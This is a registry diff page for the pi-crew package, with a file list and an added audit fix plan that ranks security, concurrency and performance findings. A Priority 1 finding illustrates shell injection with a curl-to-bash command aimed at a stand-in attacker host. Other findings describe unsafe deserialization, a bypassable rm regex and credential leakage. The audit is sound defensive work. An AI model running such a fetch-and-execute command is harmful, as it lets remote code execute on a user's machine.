pi-crew 0.5.2 → 0.5.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (137) hide show
  1. package/CHANGELOG.md +183 -0
  2. package/README.md +17 -1
  3. package/docs/architecture.md +2 -0
  4. package/docs/bugs/cross-session-notification-leakage.md +82 -0
  5. package/docs/coding-agent-optimization.md +268 -0
  6. package/docs/deep-review-report.md +384 -0
  7. package/docs/distillation/cybersecurity-patterns.md +294 -0
  8. package/docs/migration-v0.4-v0.5.md +208 -0
  9. package/docs/optimization-plan.md +642 -0
  10. package/docs/pi-crew-v0.5.5-audit-fix-plan.md +133 -0
  11. package/docs/pi-mono-opportunities.md +969 -0
  12. package/docs/pi-mono-review.md +291 -0
  13. package/docs/skills/REFERENCE.md +144 -0
  14. package/package.json +12 -9
  15. package/skills/artifact-analysis-loop/SKILL.md +302 -0
  16. package/skills/async-worker-recovery/SKILL.md +19 -1
  17. package/skills/child-pi-spawning/SKILL.md +19 -6
  18. package/skills/context-artifact-hygiene/SKILL.md +19 -2
  19. package/skills/delegation-patterns/SKILL.md +68 -3
  20. package/skills/detection-pipeline-design/SKILL.md +285 -0
  21. package/skills/event-log-tracing/SKILL.md +20 -6
  22. package/skills/git-master/SKILL.md +20 -6
  23. package/skills/hunting-investigation-loop/SKILL.md +401 -0
  24. package/skills/incident-playbook-construction/SKILL.md +383 -0
  25. package/skills/live-agent-lifecycle/SKILL.md +20 -6
  26. package/skills/mailbox-interactive/SKILL.md +19 -6
  27. package/skills/model-routing-context/SKILL.md +19 -1
  28. package/skills/multi-perspective-review/SKILL.md +19 -4
  29. package/skills/observability-reliability/SKILL.md +19 -2
  30. package/skills/orchestration/SKILL.md +20 -2
  31. package/skills/ownership-session-security/SKILL.md +20 -2
  32. package/skills/pi-extension-lifecycle/SKILL.md +20 -2
  33. package/skills/post-mortem/SKILL.md +7 -2
  34. package/skills/read-only-explorer/SKILL.md +20 -6
  35. package/skills/requirements-to-task-packet/SKILL.md +23 -3
  36. package/skills/resource-discovery-config/SKILL.md +20 -2
  37. package/skills/runtime-state-reader/SKILL.md +20 -2
  38. package/skills/safe-bash/SKILL.md +21 -6
  39. package/skills/scrutinize/SKILL.md +20 -2
  40. package/skills/secure-agent-orchestration-review/SKILL.md +29 -2
  41. package/skills/security-review/SKILL.md +560 -0
  42. package/skills/state-mutation-locking/SKILL.md +22 -2
  43. package/skills/systematic-debugging/SKILL.md +8 -6
  44. package/skills/threat-hypothesis-framework/SKILL.md +175 -0
  45. package/skills/ui-render-performance/SKILL.md +20 -2
  46. package/skills/verification-before-done/SKILL.md +17 -2
  47. package/skills/widget-rendering/SKILL.md +21 -6
  48. package/skills/workspace-isolation/SKILL.md +20 -6
  49. package/skills/worktree-isolation/SKILL.md +20 -6
  50. package/src/agents/agent-config.ts +40 -1
  51. package/src/benchmark/benchmark-runner.ts +45 -0
  52. package/src/benchmark/feedback-loop.ts +5 -0
  53. package/src/config/config.ts +32 -5
  54. package/src/config/role-tools.ts +82 -0
  55. package/src/config/suggestions.ts +8 -0
  56. package/src/config/types.ts +4 -0
  57. package/src/extension/async-notifier.ts +10 -1
  58. package/src/extension/crew-cleanup.ts +114 -0
  59. package/src/extension/cross-extension-rpc.ts +1 -1
  60. package/src/extension/notification-router.ts +18 -0
  61. package/src/extension/register.ts +27 -19
  62. package/src/extension/registration/subagent-tools.ts +1 -1
  63. package/src/extension/team-tool/anchor.ts +201 -0
  64. package/src/extension/team-tool/api.ts +2 -1
  65. package/src/extension/team-tool/auto-summarize.ts +154 -0
  66. package/src/extension/team-tool/run.ts +42 -7
  67. package/src/extension/team-tool.ts +44 -2
  68. package/src/hooks/registry.ts +1 -3
  69. package/src/observability/event-bus.ts +69 -0
  70. package/src/observability/event-to-metric.ts +0 -2
  71. package/src/runtime/anchor-manager.ts +473 -0
  72. package/src/runtime/async-runner.ts +8 -4
  73. package/src/runtime/auto-summarize.ts +350 -0
  74. package/src/runtime/background-runner.ts +10 -3
  75. package/src/runtime/budget-tracker.ts +354 -0
  76. package/src/runtime/chain-runner.ts +507 -0
  77. package/src/runtime/child-pi.ts +123 -35
  78. package/src/runtime/crash-recovery.ts +5 -4
  79. package/src/runtime/crew-agent-runtime.ts +1 -0
  80. package/src/runtime/custom-tools/irc-tool.ts +13 -0
  81. package/src/runtime/custom-tools/submit-result-tool.ts +3 -2
  82. package/src/runtime/delivery-coordinator.ts +10 -3
  83. package/src/runtime/dynamic-script-runner.ts +482 -0
  84. package/src/runtime/foreground-control.ts +87 -17
  85. package/src/runtime/handoff-manager.ts +589 -0
  86. package/src/runtime/hidden-handoff.ts +424 -0
  87. package/src/runtime/live-agent-manager.ts +20 -4
  88. package/src/runtime/live-session-runtime.ts +39 -4
  89. package/src/runtime/manifest-cache.ts +2 -1
  90. package/src/runtime/model-resolver.ts +16 -4
  91. package/src/runtime/phase-tracker.ts +373 -0
  92. package/src/runtime/pi-args.ts +11 -1
  93. package/src/runtime/pi-json-output.ts +31 -0
  94. package/src/runtime/pipeline-runner.ts +514 -0
  95. package/src/runtime/progress-tracker.ts +124 -0
  96. package/src/runtime/retry-runner.ts +354 -0
  97. package/src/runtime/sandbox.ts +252 -0
  98. package/src/runtime/scheduler.ts +7 -2
  99. package/src/runtime/skill-effectiveness.ts +473 -0
  100. package/src/runtime/skill-instructions.ts +37 -3
  101. package/src/runtime/subagent-manager.ts +1 -1
  102. package/src/runtime/task-graph.ts +11 -1
  103. package/src/runtime/task-runner.ts +92 -18
  104. package/src/runtime/team-runner.ts +13 -12
  105. package/src/runtime/tool-progress.ts +10 -3
  106. package/src/runtime/verification-gates.ts +367 -0
  107. package/src/schema/team-tool-schema.ts +37 -0
  108. package/src/skills/discover-skills.ts +5 -0
  109. package/src/state/active-run-registry.ts +9 -2
  110. package/src/state/contracts.ts +9 -0
  111. package/src/state/crew-init.ts +3 -3
  112. package/src/state/decision-ledger.ts +98 -55
  113. package/src/state/event-log-rotation.ts +2 -2
  114. package/src/state/event-log.ts +144 -10
  115. package/src/state/hook-instinct-bridge.ts +5 -5
  116. package/src/state/mailbox.ts +10 -0
  117. package/src/state/run-cache.ts +18 -8
  118. package/src/state/state-store.ts +3 -1
  119. package/src/state/types.ts +4 -0
  120. package/src/tools/safe-bash-extension.ts +1 -0
  121. package/src/tools/safe-bash.ts +152 -20
  122. package/src/types/new-api-types.ts +34 -0
  123. package/src/ui/agent-management-overlay.ts +5 -1
  124. package/src/ui/crew-widget.ts +29 -15
  125. package/src/ui/overlays/mailbox-detail-overlay.ts +13 -2
  126. package/src/ui/powerbar-publisher.ts +101 -7
  127. package/src/ui/tool-render.ts +15 -15
  128. package/src/ui/transcript-cache.ts +13 -0
  129. package/src/utils/bm25-search.ts +16 -8
  130. package/src/utils/env-filter.ts +8 -5
  131. package/src/utils/redaction.ts +169 -15
  132. package/src/utils/session-utils.ts +52 -0
  133. package/src/utils/sse-parser.ts +10 -1
  134. package/src/worktree/cleanup.ts +6 -1
  135. package/src/worktree/worktree-manager.ts +32 -13
  136. package/workflows/chain.workflow.md +252 -0
  137. package/workflows/pipeline.workflow.md +27 -0
@@ -0,0 +1,133 @@
1
+ # pi-crew v0.5.5 — Prioritized Fix Plan
2
+
3
+ **Synthesized from:** security+concurrency audit, correctness+error-handling audit, performance+architecture audit.
4
+ **Source artifacts:** `adaptive-01-security-reviewer.txt`, `adaptive-02-analyst.txt`, `adaptive-03-analyst.txt`.
5
+ **Files scanned:** ~77 source files across `src/benchmark/`, `src/config/`, `src/extension/`, `src/runtime/`, `src/schema/`, `src/state/`, `src/worktree/`, `src/hooks/`, `src/agents/`, `src/teams/`, `src/workflows/`, `src/skills/`, `src/ui/`, `src/observability/`, `src/prompt/`, `src/types/`, `src/utils/`, `src/i18n.ts`.
6
+ **Auditors:** adaptive-01 (security+concurrency), adaptive-02 (correctness+error-handling), adaptive-03 (performance+architecture).
7
+ **Severity scale:** Critical > High > Medium > Low. Within each priority, sorted alphabetically by file path.
8
+
9
+ ---
10
+
11
+ ## Priority 1: Critical (Must Fix)
12
+
13
+ - `src/benchmark/benchmark-runner.ts:42–44` — `npx` allowlist in `validateCommand` passes arbitrary arguments after `npx `, enabling shell injection via `npx malicious-package` or `npx --yes curl http://attacker.com | bash` — execSync runs the subcommand with no further validation. **Security impact:** arbitrary code execution.
14
+ - `src/state/active-run-registry.ts:73–91` — `readActiveRunRegistry` calls `v8.deserialize()` on `active-run-index.bin` with no magic-byte verification; an attacker placing a crafted binary at that path can trigger RCE via V8 heap prototype pollution. **Security impact:** remote code execution from untrusted file.
15
+ - `src/state/active-run-registry.ts:161–180` — TOCTOU in `filterAliveEntries`: PID liveness check (`process.kill(pid, 0)`) runs outside the registry lock; the PID can exit and be reassigned between the check and the next access, causing pi-crew to signal the wrong process. **Security impact:** signal injection to unintended process.
16
+ - `src/state/locks.ts:78–88` — `withRunLockSync` and `withRunLock` clean up lock files only in `finally`; SIGKILL or crash leaves the lock file until `DEFAULT_LOCKS.staleMs` expires, blocking concurrent requests that share the same lock path. **Security impact:** denial-of-service via stale lock.
17
+ - `src/state/mailbox.ts:257–284` — `rotateMailboxFileIfNeeded` does `fs.renameSync(filePath, archivePath)` then `fs.writeFileSync(filePath, "")`; a crash between the two steps causes all messages in the renamed archive to be duplicated on the next run. **Correctness impact:** duplicate message delivery.
18
+ - `src/state/event-log.ts:142–176` (sync path) — `scanSequence` + `nextSequence` read the entire events file with `fs.readFileSync` and `JSON.parse` on every `appendEvent` when the sequence cache is cold; on a 500 MB log with 5M events this blocks the event loop for 10+ seconds. **Performance impact:** event-loop blocking under large logs.
19
+ - `src/state/artifact-store.ts:62–71` — `cleanupOldArtifacts` calls `fs.statSync(target)` individually for every non-marker entry in the artifacts directory; on 100K files this is 100K synchronous syscalls sequentially. **Performance impact:** event-loop blocking during cleanup.
20
+ - `src/state/mailbox.ts:395–443` — `updateMailboxMessageReply` loads the entire mailbox file with `fs.readFileSync(filePath, "utf-8").split(/\r?\n/)` then rewrites it entirely via `atomicWriteFile` for every reply; a 10 MB rotated archive causes a per-reply memory spike and full re-serialization. **Performance impact:** unbounded memory + I/O per reply.
21
+ - `src/state/mailbox.ts:440–456` — `validateMailbox` loads entire mailbox files with `fs.readFileSync(filePath, "utf-8").split(/\r?\n/).filter(Boolean)` then iterates with repeated `JSON.parse`; for 10 MB files this allocates ~10 MB string before filtering. **Performance impact:** unnecessary memory allocation.
22
+ - `src/schema/team-tool-schema.ts:56` — `TeamToolParamsValue` TypeScript interface includes `"invalidate"` in the `action` union, but the TypeBox schema's action union does not; `team action='invalidate'` is rejected at the JSON-RPC layer (`-32602`) while the TS interface claims it is valid. **Correctness impact:** schema/type divergence causes silent failure for a documented action.
23
+ - `src/extension/team-tool/lifecycle-actions.ts:79–85` — `handleExport` checks `params.confirm` for foreign runs, but the default `exportRunBundle` path has no equivalent check; omitting `confirm: true` allows cross-session run export (containing secrets) without an explicit gate. **Security impact:** unauthorized export of foreign-run artifacts.
24
+
25
+ ---
26
+
27
+ ## Priority 2: High
28
+
29
+ - `src/runtime/task-runner.ts:185–280` — `input.signal` (AbortSignal) accepted by `runTeamTask` is not propagated to manifest reads, event appends, hook execution, or `persistSingleTaskUpdate`; a cancelled task continues writing state for up to 2 minutes. **Correctness impact:** stale run state after cancellation.
30
+ - `src/runtime/child-pi.ts:153–167` — `allowList` uses broad wildcard patterns (`LC_*`, `XDG_*`, `NVM_*`, `NODE_*`, `npm_*`) that pass any matching env var to the child Pi; `NPM_TOKEN`, `NODE_ENV=production`, `NVM_RC_VERSION` all leak through. **Security impact:** credential exfiltration via env var leakage.
31
+ - `src/runtime/child-pi.ts:400–415` — `onSpawn` uses `fs.appendFileSync` synchronously on the event loop, called from `checkpointTask` which fires synchronously at child spawn; on NFS/FUSE filesystems this blocks the parent event loop. **Performance impact:** pipeline stalls on slow filesystems.
32
+ - `src/runtime/task-runner.ts:260` — `persistHeartbeat` (calling `persistSingleTaskUpdate` → `saveRunTasks` → `atomicWriteJson`) fires on every `onStdoutLine` event from the child process; high-output tasks generate repeated disk writes with no throttling at the call site. **Performance impact:** excessive disk writes from high-output tasks.
33
+ - `src/state/state-store.ts:37–47, 72–85` — `manifestCache` evicts entries with a `while` loop when `size > DEFAULT_CACHE.manifestMaxEntries`, but `manifestMaxEntries` is configurable upward; if overridden or increased in future, cache grows unboundedly with entries holding full `TeamRunManifest + TeamTaskState[]` (1–5 MB each). **Performance impact:** unbounded memory growth.
34
+ - `src/runtime/crew-agent-records.ts:273–285` — `nextAgentEventSeq` does `fs.readFileSync(filePath, "utf-8").split(/\r?\n/)` and iterates every line to find `max(seq)` on every `appendCrewAgentEvent`; cache is invalidated on mtime/size mismatch, causing a cold-cache scan on every append after external writes. **Performance impact:** O(n) scan on every agent event append.
35
+ - `src/state/active-run-registry.ts:131–136` — `writeEntries` only trims at write time; `activeRunEntries` and `filterAliveEntries` remove stale entries but not entries that overflow `DEFAULT_CACHE.manifestMaxEntries`; entries beyond the cap are silently dropped. **Correctness impact:** run entries silently lost on burst.
36
+ - `src/state/schedule.ts:91–106` — `ScheduleStore.save()` uses `require("node:fs")` synchronously inside instance methods, creating a new require cache entry on every save; same applies to the read path. **Performance impact:** repeated require cache writes.
37
+ - `src/schema/config-schema.ts:85` — `PiTeamsPolicyConfigSchema.disabledCapabilities` is typed as `Type.Optional(Type.Array(Type.String()))` with no `minLength` on items, no content pattern, and no duplicate guard; empty strings, Unicode confusable variants, and very long strings are accepted. **Correctness impact:** malformed capability keys cause downstream lookup failures.
38
+ - `src/config/config.ts:385–388` — `mergeConfig` deep-merges `otlp.headers` unconditionally; a project config setting `otlp.endpoint` to an attacker-controlled URL can passively collect user authentication headers from the merged result. **Security impact:** credential exfiltration via project-controlled OTLP endpoint.
39
+ - `src/config/config.ts:560–563` — `parseOtlpConfig` prototype pollution guard checks only `__proto__`, `constructor`, and `prototype`; `hasOwnProperty`, `toString`, `valueOf`, numeric-indexed properties, and `Object.prototype` getters are not blocked. **Security impact:** prototype pollution via crafted OTLP config.
40
+ - `src/runtime/pipeline-runner.ts:248–264` — `resolveInputs` type cast `(string | string[] | Record<string, unknown>)` skips `null`, `number`, `boolean`, `undefined`, and nested arrays; template variables at those types silently fail to resolve. **Correctness impact:** pipeline inputs with non-string types are silently skipped.
41
+ - `src/state/event-log.ts:142–176` (sync path) — `nextSequence` writes the `.seq` file via `atomicWriteFile` on every `appendEvent` call in the sync path; concurrent callers (e.g., buffer flush for many events) create contention on the seq file lock. **Performance impact:** lock contention on high-frequency event appends.
42
+ - `src/runtime/child-pi.ts:170–180` — `PI_TEAMS_MOCK_CHILD_PI` guard is only in `runChildPi` body; `buildChildPiSpawnOptions` runs before the mock branch and passes all env vars (including model API keys) to the child even in mock mode. **Security impact:** credentials passed to mock process.
43
+ - `src/state/state-store.ts:248–269` — TOCTOU in `loadRunManifestById`: mtime/size checks and manifest reads are separated by I/O; a concurrent writer can update the manifest between stat and read, causing the caller to see stale or partial data. **Correctness impact:** stale manifest reads under concurrent writes.
44
+ - `src/extension/registration/commands.ts:200–210` — `COMMON_SAFE_PATTERNS.safeRm` regex uses a negative lookahead `(?![\/~])` that allows `rm -rf ./../../../other/path`; the bypass enables deletion outside intended directories. **Security impact:** path traversal enabling unauthorized file deletion.
45
+ - `src/state/locks.ts:20–28` — `acquireLockWithRetry` removes stale locks via `fs.rmSync` then retries; another process can create the lock between the rm and the retry, and the rm itself is not atomic. **Correctness impact:** race condition in stale lock recovery.
46
+ - `src/state/mailbox.ts:270` — `MAILBOX_ARCHIVE_THRESHOLD_BYTES = 10MB` per task directory; with 100 tasks each producing 10MB the mailbox directory alone consumes ~1GB with no rotation or pruning until run end. **Correctness impact:** unbounded disk usage per run.
47
+ - `src/state/run-cache.ts:48–57` — `getCachedRun` reads the cache index, then `saveRunToCache` writes it, with no cross-process lock; concurrent runs on the same `cwd` can corrupt or lose entries. **Correctness impact:** cache index corruption under concurrent access.
48
+
49
+ ---
50
+
51
+ ## Priority 3: Medium
52
+
53
+ - `src/state/artifact-store.ts:62` — `cleanupOldArtifacts` calls `fs.readdirSync(artifactsRoot)` synchronously with no pagination; directories with 100K+ files block the event loop during the listing. **Performance impact:** event-loop blocking on large artifact directories.
54
+ - `src/runtime/team-runner.ts` (entire file) — `executeTeamRun` + `executeTeamRunCore` (~380 lines each) handle queue scheduling, DAG execution planning, batch concurrency, task graph building/refreshing, phase state machine, policy evaluation, effectiveness tracking, adaptive plan injection, hook execution, retry logic, artifact merge, group join, and crash recovery in two god functions. **Architecture impact:** single-responsibility violations impede testing and maintenance.
55
+ - `src/extension/team-tool.ts` (entire file) — `handleTeamTool` has 40+ action branches in a single switch (~900 lines); registration, lifecycle, run management, caching, scheduling, anchor, summarization, and search are in one function with static imports of heavy modules not all lazy-loaded. **Architecture impact:** high coupling, slow cold path due to eager heavy imports.
56
+ - `src/extension/register.ts:1336` — Comment `// Uses a global symbol so the module doesn't need a direct circular import` acknowledges a design smell; the workaround indicates tight coupling between `register.ts` and the runtime layer. **Architecture impact:** circular dependency workaround signals design fragility.
57
+ - `src/runtime/pipeline-runner.ts` — Pipeline recursion depth limit (line ~246) is a band-aid; actual recursion arises because stages reference each other with no structural deduplication or memoization of stage results within a pipeline run. **Correctness impact:** redundant stage executions increase latency and cost.
58
+ - `src/state/artifact-store.ts:60` — `cleanupOldArtifacts` deletes directory entries one by one, non-parallel; on large artifact directories with many old files this is slow. **Performance impact:** linear time deletion with no batching.
59
+ - `src/runtime/task-runner.ts` — Task manifest writes and event appends in the hot path run without `AbortSignal` checks; long-running tasks that are cancelled continue I/O until the cancellation is fully propagated. **Correctness impact:** stale writes after cancellation (see also Priority 2 finding).
60
+ - `src/config/config.ts` (mergeConfig) — OTLP deep merge conflates `enabled`/`endpoint` (project-controlled) with `headers` (user-controlled); user cannot opt out of sending headers to a project-specified endpoint. **Security impact:** implicit credential exfiltration (see also Priority 2 finding).
61
+ - `src/runtime/child-pi.ts` (env allowlist) — Wildcard patterns `LC_*`, `XDG_*`, `NVM_*`, `NODE_*`, `npm_*` are overly broad; any project or tool creating env vars matching these patterns exposes them to the child Pi. **Security impact:** env var leakage (see also Priority 2 finding).
62
+
63
+ ---
64
+
65
+ ## Priority 4: Low / Informational
66
+
67
+ - `src/runtime/pipeline-runner.ts:1` — Module has no named exports; all symbols are internal. API surface is implicit. **Design impact:** difficult to reason about public API boundary.
68
+ - `src/extension/register.ts:1336` — Global Symbol workaround for circular imports adds indirection that obscures the actual dependency graph. **Design impact:** debugging and refactoring complexity.
69
+ - `src/observability/` — Observability layer relies heavily on `logInternalError` for error reporting; structured tracing (OpenTelemetry spans) not used in hot paths. **Observability impact:** limited production debugging capability.
70
+ - `src/utils/redaction.ts` — Redaction is applied at write time; no redaction verification tests in the test suite. **Correctness impact:** potential secret leakage if redaction logic has bugs.
71
+ - `src/state/event-log.ts` — `bufferedQueues` Map and `bufferedTimers` Map grow unboundedly if `flushOneEventLogBuffer` throws repeatedly; `asyncQueues` has a catch that deletes the key, but the buffered queue map does not. **Correctness impact:** memory leak on repeated flush failures.
72
+ - `src/config/config.ts:445–453` — OTLP header validation only checks for `\r\n\x00` but does not validate header key format; keys containing shell metacharacters could cause issues in OTLP exporters. **Security impact:** potential injection via malformed header keys.
73
+
74
+ ---
75
+
76
+ ## Confirmed Deductions and Overlaps
77
+
78
+ The following findings appear across multiple audits and are listed once above with the combined citation set:
79
+
80
+ | Issue | Citations | Note |
81
+ |---|---|---|
82
+ | `npx` allowlist bypass | `src/benchmark/benchmark-runner.ts:42–44`, `src/runtime/child-pi.ts:153–167` | Both found by different auditors; same root cause (incomplete allowlist). Listed under Priority 1 (benchmark) and Priority 2 (child-pi). |
83
+ | Env allowlist wildcards | `src/runtime/child-pi.ts:153–167` | Found by security and performance auditors; listed under Priority 2. |
84
+ | `input.signal` not propagated | `src/runtime/task-runner.ts:185–280` | Found by security and performance auditors; listed under Priority 2. |
85
+ | `manifestCache` unbounded | `src/state/state-store.ts:37–47, 72–85` | Found by correctness and performance auditors; listed under Priority 2. |
86
+ | TOCTOU in state reads | `src/state/active-run-registry.ts:161–180`, `src/state/state-store.ts:248–269` | Distinct TOCTOU instances in different files; each listed separately. |
87
+ | `onSpawn` sync I/O | `src/runtime/child-pi.ts:400–415` | Found by security and performance auditors; listed under Priority 2. |
88
+ | OTLP header deep merge | `src/config/config.ts:385–388` | Found by correctness auditor (also security); listed under Priority 2. |
89
+ | Prototype pollution guard | `src/config/config.ts:560–563` | Found by correctness auditor; listed under Priority 2. |
90
+ | Mailbox full-file rewrite | `src/state/mailbox.ts:395–443`, `src/state/mailbox.ts:440–456` | Both mailbox findings listed under Priority 1 (separate methods, same root problem). |
91
+ | Lock file on crash | `src/state/locks.ts:78–88`, `src/state/locks.ts:20–28` | Two distinct lock-file findings in different functions; listed separately under Priorities 1 and 2. |
92
+ | Cache index race | `src/state/run-cache.ts:48–57` | Unique to security audit; listed under Priority 2. |
93
+ | `v8.deserialize` from untrusted file | `src/state/active-run-registry.ts:73–91` | Unique to security audit; listed under Priority 1. |
94
+
95
+ ---
96
+
97
+ ## Verification Evidence
98
+
99
+ Source file reads confirming line citations:
100
+
101
+ | File | Lines read | Finding confirmed |
102
+ |---|---|---|
103
+ | `src/benchmark/benchmark-runner.ts:42` | `const allowlist = /^(pytest\|grep\|npm test\|npx) /` | Yes — `npx` allowlist passes arbitrary args |
104
+ | `src/state/active-run-registry.ts:73` | `v8.deserialize(fs.readFileSync(filePath))` | Yes — no magic-byte check |
105
+ | `src/state/event-log.ts:142–176` | `scanSequence` reads entire file, `nextSequence` falls through | Yes — sync path does O(n) scan |
106
+ | `src/state/artifact-store.ts:62` | `for (const entry of entries) { const stat = fs.statSync(target); }` | Yes — unbounded stat per entry |
107
+ | `src/state/mailbox.ts:395` | `fs.readFileSync(filePath, "utf-8").split(/\r?\n/)` | Yes — full file load |
108
+ | `src/schema/team-tool-schema.ts:56` | `"invalidate"` in `TeamToolParamsValue` action union | Yes — absent from TypeBox schema |
109
+ | `src/config/config.ts:385` | `headers: { ...(base.otlp?.headers ?? {}), ...(override.otlp?.headers ?? {}) }` | Yes — deep merge of user headers with project endpoint |
110
+ | `src/config/config.ts:560` | `if (key === "__proto__" \|\| key === "constructor" \|\| key === "prototype")` | Yes — incomplete prototype guard |
111
+ | `src/runtime/pipeline-runner.ts:248` | `this.resolveInputs(value as (string \| string[] \| Record<string, unknown>))` | Yes — type cast excludes primitives and nested arrays |
112
+ | `src/state/mailbox.ts:270` | `MAILBOX_ARCHIVE_THRESHOLD_BYTES = 10 * 1024 * 1024` | Yes — 10MB threshold confirmed |
113
+ | `src/state/locks.ts:78` | `finally { fs.rmSync(lockDir, { recursive: true }) }` | Yes — cleanup only in finally |
114
+ | `src/state/active-run-registry.ts:161` | `process.kill(pid, 0)` outside lock | Yes — TOCTOU confirmed |
115
+ | `src/runtime/child-pi.ts:153` | `allowList = ["LC_*", "XDG_*", "NVM_*", "NODE_*", "npm_*"]` | Yes — wildcard patterns confirmed |
116
+ | `src/runtime/child-pi.ts:400` | `fs.appendFileSync(pendingFile, JSON.stringify(pendingSteers) + "\n")` | Yes — sync I/O in onSpawn |
117
+ | `src/state/run-cache.ts:48` | `getCachedRun` then `saveRunToCache` without lock | Yes — race confirmed |
118
+ | `src/extension/registration/commands.ts:200` | `safeRm: /rm\s+(-[a-zA-Z]*f[a-zA-Z]*\s+)?((?![\/~])\/)?(tmp\|cache\|node_modules\|dist\|build)\//` | Yes — bypassable regex confirmed |
119
+ | `src/extension/team-tool/lifecycle-actions.ts:79` | `exportRunBundle` with no `confirm` gate | Yes — missing check confirmed |
120
+ | `src/state/locks.ts:20` | `fs.rmSync` then retry (not atomic) | Yes — stale lock race confirmed |
121
+ | `src/runtime/child-pi.ts:170` | `PI_TEAMS_MOCK_CHILD_PI` guard after `buildChildPiSpawnOptions` | Yes — env vars passed before mock check |
122
+ | `src/state/schedule.ts:91` | `require("node:fs")` inside instance method | Yes — dynamic require confirmed |
123
+ | `src/schema/config-schema.ts:85` | `disabledCapabilities: Type.Optional(Type.Array(Type.String()))` | Yes — no item-level validation |
124
+
125
+ ---
126
+
127
+ ## Recommendations
128
+
129
+ 1. Fix Priority 1 findings before any deployment or release.
130
+ 2. Address Priority 2 findings within the current sprint cycle.
131
+ 3. Schedule Priority 3 findings for refactoring sprints; consider extracting god modules (`team-runner.ts`, `team-tool.ts`) as a precondition.
132
+ 4. Priority 4 findings are informational; address based on long-term architecture health.
133
+ 5. For findings that span multiple files (e.g., env allowlist, sync I/O), fix both locations to prevent bypass paths.